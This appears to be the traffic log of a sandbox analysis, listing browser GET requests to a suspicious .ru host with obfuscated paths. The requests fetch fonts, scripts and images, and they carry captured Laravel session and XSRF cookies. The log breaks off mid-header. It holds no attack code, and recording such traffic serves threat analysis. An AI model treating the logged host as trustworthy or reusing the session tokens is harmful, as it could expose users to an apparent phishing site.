Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveOrigin: https://b3rz.5m54lq.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveOrigin: https://b3rz.5m54lq.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56jhdeaoizqzC4D1weZH9XklIVufCDZ66KbP89109 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250320%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250320T155345Z&X-Amz-Expires=300&X-Amz-Signature=81b7617a652342c9b1212b2fa05895ce004724155286a09cf1dede48f23276d8&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ijYcBuqf5Z94VmggjiVqVhakopFE3rucZlkYWWX1q1CFab230 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn2v8EPh1ZX1G9E3kgwfMh5ZMG75Rez5tkl0kvZNFQTCiwUWklJm1NdsDwx220 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijYcBuqf5Z94VmggjiVqVhakopFE3rucZlkYWWX1q1CFab230 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn2v8EPh1ZX1G9E3kgwfMh5ZMG75Rez5tkl0kvZNFQTCiwUWklJm1NdsDwx220 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvSqWmtiKp4YusaslqxkiDjGdG3bstrqtlhKp51ZfY34130 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opgocw48m1OzfrlKePMpCpS31vyR7fEhmnmP6BY6gqZ9bZuqfpRJ67140 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efQTK64w0MiBOoPqEhaZWEfykleMB7iip2pL2hWMZXiaQh90141 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijFDhVZ5x4xtW1lwVm71gcdVaYkXcHhHQB5eM56170 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxZAwU9RSzWHoVxqDm9WrsDu1ztSbiwYSNs0kSNY7DXguu90180 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /oprGaEGbXMz6S7UKvCZsG5fDhA1DvdVOF3dauv8xc6jTNdfa2KXoO5ef191 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 